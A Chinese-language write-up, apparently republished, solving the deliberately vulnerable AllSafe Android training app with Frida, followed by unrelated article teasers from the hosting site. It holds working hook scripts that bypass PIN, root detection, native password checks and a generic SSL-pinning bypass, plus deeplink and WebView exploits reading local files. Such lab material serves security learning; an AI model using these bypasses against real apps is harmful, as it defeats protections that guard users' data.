FridaHook(三)——AllSafe App wp

news2024/11/19 0:52:11

By ruanruan,2022/04/21

文章目录

      • 1、不安全的日志记录
      • 2、硬编码
      • 3、pin绕过
        • (1)反编译查看方法判断逻辑
        • (2)hook方法
          • A、Hook areEqual(Object,Object)
          • B、Hook checkPin(a)
        • (3)页面效果
        • (4)踩坑
      • 4、root检测绕过
        • (1)反编译查看
        • (2)hook方法
        • (3)绕过效果
      • 5、Secureflag绕过
        • (1)查看相关代码
        • (2)Hook脚本
        • (3)hook效果
      • 6、Deeplink利用
        • (1)查看漏洞代码
        • (2)漏洞利用
          • A、访问html文件
          • B、使用adb构造intent
      • 7、Webview利用
        • (1)查看漏洞代码
        • (2)漏洞利用
          • A、任务一:弹窗
          • B、任务二:访问一个本地文件,如/etc/hosts
      • 8、证书绕过
        • (1)hook脚本
        • (2)hook结果
        • (3)踩坑
      • 9、脆弱的加密
        • (1)反编译查看
        • (2)hook加密函数
          • A、AES
          • B、MD5
          • C、Random
      • 10、本地动态链接库
        • (1)反编译查看
        • (2)so文件查看检测函数代码
        • (3)hook方法
        • (4)hook结果
        • (5)踩坑

1、不安全的日志记录

任务:在日志中找到key

命令查看日志中是否包含输入的key

adb logcat 

在这里插入图片描述

2、硬编码

任务:查找硬编码user:password

查找到superadmin:supersecurepassword

在这里插入图片描述

3、pin绕过

任务:绕过pin检测

其实可以对NDg2Mw==,直接解码得4863

(1)反编译查看方法判断逻辑

在这里插入图片描述

查找areEqual方法,如下

在这里插入图片描述

(2)hook方法
A、Hook areEqual(Object,Object)

先是去hook了kotlin.jvm.internal.Intrinsics类的重载方法,通过传的first参数数据类型为String可知,调用的是

在这里插入图片描述

搜索Equal函数,是返回true or false

那么修改返回为true就行

js:

function hookChongZai(){

	var utils = Java.use("kotlin.jvm.internal.Intrinsics");
	utils.areEqual.overload('java.lang.Object', 'java.lang.Object').implementation = function(a,b){
		console.log(a,b);
		a = "2022";
		b = "2022";
		console.log(a,b);
		var ret = true;
		return ret;
	}
}

function main(){
	Java.perform(function(){
		hookChongZai();
	})
}

setImmediate(main);

输出:

在这里插入图片描述

页面显示

B、Hook checkPin(a)

在这里插入图片描述
修改返回值,只要return true就行

js:

function hookpin(){
	console.log("script running .....")
	var utils = Java.use("infosecadventures.allsafe.challenges.PinBypass");
	console.log("test\n");
	utils.checkPin.implementation = function(a){
		console.log(a);
		a = "2022";
		console.log(a);
		var ret = true;
		console.log(a,ret);
		return ret;
	}
}

function main(){
	Java.perform(function(){
		hookpin();
	})
}

setImmediate(main);

在这里插入图片描述

(3)页面效果

输入任意四位数,显示输入正确

在这里插入图片描述

(4)踩坑
  • overload(‘java.lang.Object’, ‘java.lang.Object’)

    小结:

    		.overload('double', 'java.lang.Double')
            .overload('float', 'java.lang.Float')
            .overload('java.lang.Double', 'double')
            .overload('java.lang.Double', 'java.lang.Double')
            .overload('java.lang.Float', 'float')
            .overload('java.lang.Float', 'java.lang.Float')
            .overload('java.lang.Object', 'java.lang.Object')
    
  • 将返回设置成字符串true了,即var ret = “true”;

    为变量赋值Boolean类型值的例子:

    var found = true;
    var lost = false;
    

    需要注意的是Boolean类型的字面值true和false是区分大小写的。

4、root检测绕过

任务:绕过root检测

(1)反编译查看

首先查看infosecadventures.allsafe.challenges.RootDetection,找了找没有啥判断逻辑

在这里插入图片描述

再查看infosecadventures.allsafe.challenges.RootDetection$onCreateView$1的检测逻辑

在这里插入图片描述

全局搜索isRooted方法,如图可知是布尔类型的返回结果。

在这里插入图片描述

(2)hook方法

js:

function hookroot(){
	console.log("script running .....")
	var utils = Java.use("com.scottyab.rootbeer.RootBeer");
	console.log("test\n");
	utils.isRooted.implementation = function(){
		var ret = false;
		console.log(ret);
		return ret;
	}
}

function main(){
	Java.perform(function(){
		hookroot();
	})
}

setImmediate(main);
(3)绕过效果

原始页面:
在这里插入图片描述

绕过页面:

在这里插入图片描述

5、Secureflag绕过

任务:绕过禁止截屏限制

(1)查看相关代码

找到禁止截屏函数

getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, 
	WindowManager.LayoutParams.FLAG_FULLSCREEN);

在这里插入图片描述

然后查看setFlags

在这里插入图片描述

(2)Hook脚本
function hookflag(){
	console.log("script running .....")
	var utils = Java.use("androidx.recyclerview.widget.RecyclerView");
	console.log("test\n");
	utils.setFlags.implementation = function(a,b){
		console.log(a,b);
		a = 11;
		b = 11
		console.log(a,b);
		var ret = this.setFlags(a,b);
		console.log(ret);
	}
}

function main(){
	Java.perform(function(){
		hookflag();
	})
}

setImmediate(main);
(3)hook效果

在这里插入图片描述

思路是改setFlags的值,我看最开始输出是0,12,就给改成11,效果是黑屏卡住了 ==

找到对的值就ok

6、Deeplink利用

任务:尝试触发deeplink

(1)查看漏洞代码

先找到对应的Activity

在这里插入图片描述

再跟进 找到getintent()函数,看如何赋值的

在这里插入图片描述

可知参数data即为intent的值,以及对data的判断条件为和key的值相等则完成任务。

(2)漏洞利用

找到key的值如下

在这里插入图片描述

此时就应该构造intent为2131820617

A、访问html文件

在这里插入图片描述

可以看到action为null

但是从AndroidManifest.xml可以看到intent-filter为当Action为android.intent.action.VIEW可调用

在这里插入图片描述

构造html文件如下

<html>
	<head>
		<h1>deeplinktest</h1>
	<head>
<body>
<a href="intent:#Intent;package=infosecadventures.allsafe;component=infosecadventures.allsafe/infosecadventures.allsafe.challenges.DeepLinkTask;action=android.intent.action.VIEW;data=2131820617;end">test</a>
</body>
</html>

但是 data的值好像传失败了==

B、使用adb构造intent
adb shell am start -n "infosecadventures.allsafe/infosecadventures.allsafe.challenges.DeepLinkTask" 2131820617

adb shell am start -n "infosecadventures.allsafe/infosecadventures.allsafe.challenges.DeepLinkTask" -d "2131820617"

在这里插入图片描述

利用成功页面:

在这里插入图片描述

7、Webview利用

任务一:弹窗

任务二:访问一个本地文件,如/etc/host

(1)查看漏洞代码

在这里插入图片描述

漏洞条件:

  • setAllowFileAccess(true) (默认开启)

  • setJavaScriptEnabled(true)

  • WebView可以被外部调用,并能够加载外部可控的HTML文件

    都满足,对传进来的url参数没有任何处理过滤,直接使用loadurl()加载

(2)漏洞利用
A、任务一:弹窗

利用JavaScript伪协议进行弹窗

在这里插入图片描述

B、任务二:访问一个本地文件,如/etc/hosts

在这里插入图片描述

8、证书绕过

任务:拦截流量,绕过证书校验

(1)hook脚本

网上的通用脚本:

/* 
  Android SSL Re-pinning frida script v0.2 030417-pier
$ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt
   $ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause
https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/
   UPDATE 20191605: Fixed undeclared var. Thanks to @oleavr and @ehsanpc9999 !
*/

setTimeout(function(){
    Java.perform(function (){
     console.log("");
     console.log("[.] Cert Pinning Bypass/Re-Pinning");
var CertificateFactory = Java.use("java.security.cert.CertificateFactory");
     var FileInputStream = Java.use("java.io.FileInputStream");
     var BufferedInputStream = Java.use("java.io.BufferedInputStream");
     var X509Certificate = Java.use("java.security.cert.X509Certificate");
     var KeyStore = Java.use("java.security.KeyStore");
     var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
     var SSLContext = Java.use("javax.net.ssl.SSLContext");
// Load CAs from an InputStream
     console.log("[+] Loading our CA...")
     var cf = CertificateFactory.getInstance("X.509");
     try {
      var fileInputStream = FileInputStream.$new("/data/local/tmp/cert-der.crt");
     }
     catch(err) {
      console.log("[o] " + err);
     }
  
     var bufferedInputStream = BufferedInputStream.$new(fileInputStream);
    var ca = cf.generateCertificate(bufferedInputStream);
     bufferedInputStream.close();
var certInfo = Java.cast(ca, X509Certificate);
     console.log("[o] Our CA Info: " + certInfo.getSubjectDN());
// Create a KeyStore containing our trusted CAs
     console.log("[+] Creating a KeyStore for our CA...");
     var keyStoreType = KeyStore.getDefaultType();
     var keyStore = KeyStore.getInstance(keyStoreType);
     keyStore.load(null, null);
     keyStore.setCertificateEntry("ca", ca);
    
     // Create a TrustManager that trusts the CAs in our KeyStore
     console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");
     var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
     var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
     tmf.init(keyStore);
     console.log("[+] Our TrustManager is ready...");
console.log("[+] Hijacking SSLContext methods now...")
     console.log("[-] Waiting for the app to invoke SSLContext.init()...")
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(a,b,c) {
      console.log("[o] App invoked javax.net.ssl.SSLContext.init...");
      SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);
      console.log("[+] SSLContext initialized with our custom TrustManager!");
     }
    });
},0);
(2)hook结果

在这里插入图片描述

成功抓包:

在这里插入图片描述

(3)踩坑

看着是证书的问题,百度了一下需要系统信任burp证书

在这里插入图片描述

可是系统已经信任证书了

在这里插入图片描述

最后是替换了最新的证书解决的

9、脆弱的加密

任务:使用frida hook加密的方法

(1)反编译查看

在这里插入图片描述

(2)hook加密函数
A、AES

直接输出参数1,再篡改为参数2并对其加密

js:

function hookcrypto(){
	console.log("script running .....")
	var utils = Java.use("infosecadventures.allsafe.challenges.WeakCryptography");
	console.log("test\n");
	utils.encrypt.implementation = function(a){
		console.log(a);
		a = "quan";
		console.log(a);
		var ret = this.encrypt(a);
		console.log(ret);
		return "The AES encrypto Result of " + a +":" + ret;
	}
}

function main(){
	Java.perform(function(){
		hookcrypto();
	})
}

setImmediate(main);

hook输出:

在这里插入图片描述

页面效果:

在这里插入图片描述

B、MD5

直接输出参数1,再篡改为参数2并对其加密

hook.js:

function hookcrypto(){
	console.log("script running .....")
	var utils = Java.use("infosecadventures.allsafe.challenges.WeakCryptography");
	console.log("test\n");
	utils.md5Hash.implementation = function(a){
		console.log(a);
		a = "quan";
		console.log(a);
		var ret = this.md5Hash(a);
		console.log(ret);
		return "The MD5 Result of " + a +":" + ret;
	}
}

function main(){
	Java.perform(function(){
		hookcrypto();
	})
}

setImmediate(main);

hook输出:

在这里插入图片描述

页面效果:

在这里插入图片描述

C、Random

把随机数修改为固定值:111111

js:

function hookcrypto(){
	console.log("script running .....")
	var utils = Java.use("infosecadventures.allsafe.challenges.WeakCryptography");
	console.log("test\n");
	utils.randomNumber.implementation = function(a){
		console.log(a);
		var ret = 111111;
		console.log(ret);
		return "The static data is : " + ret;
	}
}

function main(){
	Java.perform(function(){
		hookcrypto();
	})
}

setImmediate(main);

hook输出:

在这里插入图片描述

页面效果:

在这里插入图片描述

10、本地动态链接库

任务:使用frida hook密码检测的方法

(1)反编译查看
apktool.bat d 202204061604031.apk

在这里插入图片描述

可知检测密码的函数在native层,不能直接hook

(2)so文件查看检测函数代码

用Ghidra打开分析libnative_library.so文件,找到Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword函数

在这里插入图片描述

查看checkPass

在这里插入图片描述

hook Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword函数即可

void Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword
               (_JNIEnv *param_1,undefined8 param_2,_jstring *param_3)

{
  checkPass(param_1,param_3);
  return;
}

由代码可知该函数没有返回,但是要让if (NativeLibrary.access$checkPassword(nativeLibrary, editText2.getText().toString()))成立,那么条件即为true

(3)hook方法

js:

Java.perform(function(){ 
    var nativePointer = Module.findExportByName("libnative_library.so", "Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword"); 
    send("native: " + nativePointer); 
    Interceptor.attach(nativePointer, { 
        onEnter: function(args){ 
            send(args[0].toInt32()); 
            send(args[1].toInt32()); 
            send(args[2].toInt32()); 
            //send(args[3].toInt32()); 
            //send(args[4].toInt32()); 
        }, 
        onLeave: function(retval){ 
            send("original check result: " + retval.toInt32()); 
            retval.replace(1);
            send("final check result: " + retval.toInt32());
        } 
    });
});
(4)hook结果

在这里插入图片描述

页面:

在这里插入图片描述

(5)踩坑

最开始设的retval为true,当成布尔型了

onLeave: function(retval){ 
            send("original check result: " + retval.toInt32()); 
            var ret = true;
            retval.replace(ret);
            send("final check result: " + retval.toInt32());

然后报错

在这里插入图片描述

定位到retval.replace(ret);代码

想了想if(a),a只要不是null就行,令它为1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1378545.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

day-07 统计出现过一次的公共字符串

思路 用哈希表统计words1和words2中各个字符串的出现次数&#xff0c;次数皆为1的字符串符合题意 解题方法 //用于存储words1中各个字符串的出现次数 HashMap<String,Integer> hashMap1new HashMap<>(); //用于存储words2中各个字符串的出现次数 HashMap<Stri…

适合PC端的7款最佳时间规划、项目管理软件

分享PC端7类主流的时间管理规划软件&#xff1a;PingCode、Worktile、Todoist、Pomodoro Timer 、Toggl等。 一、时间管理软件的类型 时间管理软件可以根据其功能和应用场景被划分为几种不同的类型。每种类型的软件都旨在帮助用户以不同的方式更有效地管理和分配他们的时间。以…

leetcode 每日一题 2024年01月11日 构造有效字符串的最少插入数

题目 2645. 构造有效字符串的最少插入数 给你一个字符串 word &#xff0c;你可以向其中任何位置插入 “a”、“b” 或 “c” 任意次&#xff0c;返回使 word 有效 需要插入的最少字母数。 如果字符串可以由 “abc” 串联多次得到&#xff0c;则认为该字符串 有效 。 示例 …

day1·算法-双指针

今天是第一天&#xff0c;GUNDOM带你学算法&#xff0c;跟上我的节奏吗&#xff0c;一起闪击蓝桥杯&#xff01; 正文展开&#xff0c;今天先上点小菜供大家想用&#xff0c;如有错误或者建议直接放评论区&#xff0c;我会一个一个仔细查看的哦。 双方指针问题一般是在数组中…

大数据实时抓取软件:Maxwell学习网站的高效框架!

介绍&#xff1a;Maxwell是由美国Zendesk开源的&#xff0c;使用Java编写的MySQL实时抓取软件。它能够实时读取MySQL的二进制日志&#xff08;Binlog&#xff09;&#xff0c;并将这些信息生成为JSON格式的消息。进一步地&#xff0c;Maxwell将这些消息作为生产者发送给Kafka、…

跳跃游戏,经典算法实战。

&#x1f3c6;作者简介&#xff0c;普修罗双战士&#xff0c;一直追求不断学习和成长&#xff0c;在技术的道路上持续探索和实践。 &#x1f3c6;多年互联网行业从业经验&#xff0c;历任核心研发工程师&#xff0c;项目技术负责人。 &#x1f389;欢迎 &#x1f44d;点赞✍评论…

限流式保护器在户外汽车充装的应用

摘 要&#xff1a;国家标准GB51348-2019中规定储备仓库、电动车充电等场所的末端回路应设置限流式电气防火保护器。电气防火限流式保护器可以有效克服传统断路器、空气开关和监控设备存在的短路电流大、切断短路电流时间长、短路时产生的电弧火花大&#xff0c;以及使用寿命短等…

【计算机组成原理】程序的转换及机器级表示 常用计算机术语英文缩写汇总

编码 二进制编码的十进制数&#xff08;BCD&#xff09;&#xff1a;Binary Coded Decimal美国信息交换标准代码&#xff08;ASCII&#xff09;&#xff1a;American Standard Code for Information Interchange 数据的排列顺序 最低有效位&#xff08;LSB&#xff09;&…

Java浮点数精度问题与BigDecimal详解

第1章&#xff1a;引言 大家好&#xff0c;我是小黑&#xff0c;咱们在日常的Java编程中&#xff0c;经常会遇到处理金融数据的情况&#xff0c;比如计算商品的价格或者处理用户的账户余额。在这些场景下&#xff0c;精确的数值计算就显得尤为重要。这时候&#xff0c;BigDeci…

nginx和CDN应用

一、代理的工作机制 1&#xff0e;代替客户机向网站请求数据&#xff0c;从而可以隐藏用户的真实IP地址。 2&#xff0e;将获得的网页数据&#xff08;静态 Web 元素&#xff09;保存到缓存中并发送给客户机&#xff0c;以便下次请求相同的数据时快速响应。 二、代理服务器的…

Pygame程序的屏幕显示

不同对象的绘制与显示过程 在Pygame中&#xff0c;需要将所有需要在屏幕上显示的内容都绘制在一个display surface上。该Surface通常称为screen surface&#xff0c;它是pygame.display.set_mode()函数返回的Surface对象。 在绘制不同对象时&#xff0c;可以使用不同的绘制方…

四款AI写作助手推荐:提高内容创作效率与质量

随着人工智能技术的飞速发展&#xff0c;AI写作助手逐渐成为内容创作者的新宠。这些工具利用先进的人工智能技术&#xff0c;为写作者提供强大的支持&#xff0c;帮助他们提高创作效率和质量。本文将介绍四种受欢迎的AI写作助手&#xff1a;海鲸AI、Jenni AI、Writesonic和Jasp…

23年容器云部署

23年容器云部署&#xff08;vmware虚拟机&#xff09; 主机名IP地址master192.168.100.119node192.168.100.120 1、将安装包 chinaskills_cloud_paas_v2.1.iso 下载至 master 节点/root 目录&#xff0c;并解压到/opt 目 录 [rootmaster ~]# ls anaconda-ks.cfg chinaskill…

Hive数据定义(1)

hive数据定义是hive的基础知识&#xff0c;所包含的知识点有&#xff1a;数据仓库的创建、数据仓库的查询、数据仓库的修改、数据仓库的删除、表的创建、表的删除、表的修改、内部表、外部表、分区表、桶表、表的修改、视图。本篇文章先介绍&#xff1a;数据仓库的创建、数据仓…

Jmeter接口自动化02--JMeter的安装和使用

p02 高清B站视频链接 2.1 Windows环境 首先需要安装JDK&#xff0c;然后再部署JMeter。注意&#xff0c;JMeter对JDK的版本是有要求的&#xff0c;一般至少要JDK8&#xff0c;这也是目前开发过程中使用频繁的版本。 1. 安装JDK 从官网下载JDK&#xff1a;https://www.oracl…

error: undefined reference to ‘cv::imread(std::__ndk1::basic_string<char

使用android studio编译项目时&#xff0c;由于用到了 cv::imread&#xff08;&#xff09;函数&#xff0c;编译时却报错找不到该函数的定义。 cv::imread一般是在highgui.hpp中定义&#xff0c;因此我加上了该头文件&#xff1a; #include “opencv2/highgui/highgui.hpp” 但…

开机自启动android app

Android App开机自启动_android 开机自启动-CSDN博客 注意权限问题&#xff1a; 第二种实现方式&#xff1a;系统桌面应用 问&#xff1a;android的系统桌面应用启动是什么&#xff1a; 答&#xff1a; Android 系统桌面应用是指用户在设备主屏幕上看到的默认启动界面&…

深入Go语言:高效基准测试与性能分析指南

基准测试 1. 编写 测试代码 基准测试在 Go 中通常是以 Benchmark 开头的函数&#xff0c;接受一个 *testing.B 类型的参数。这个参数提供了控制基准测试运行的方法&#xff0c;比如指定测试运行的次数。 func BenchmarkServer_XX(b *testing.B) {// 准备测试的 Server 实例和…

腾讯实验平台基于 StarRocks 构建湖仓底座

作者&#xff1a; 腾讯大数据平台部科学实验中心Tech Lead、专家工程师 马金勇博士 腾讯大数据平台部科学实验中心数据负责人、专家工程师 胡明杰 StarRocks Contributor、腾讯高级工程师 刘志行 在 2022 年&#xff0c;腾讯 A/B Test 团队启动了海外商业化版本 ABetterChoice …

代码随想录算法训练营第三天| LeetCode203.移除链表元素、707.设计链表、206.反转链表

文章目录 一、203. 移除链表元素感受代码 二、707.设计链表感受代码 206.反转链表感受 总结 一、203. 移除链表元素 感受 我对这道题。从理论上来说太熟悉了。咸鱼讲数据结构常用的方法他都会讲。但是我没上机没写过。到后面上机还是写不出来。giao。 代码 第一次写&#xf…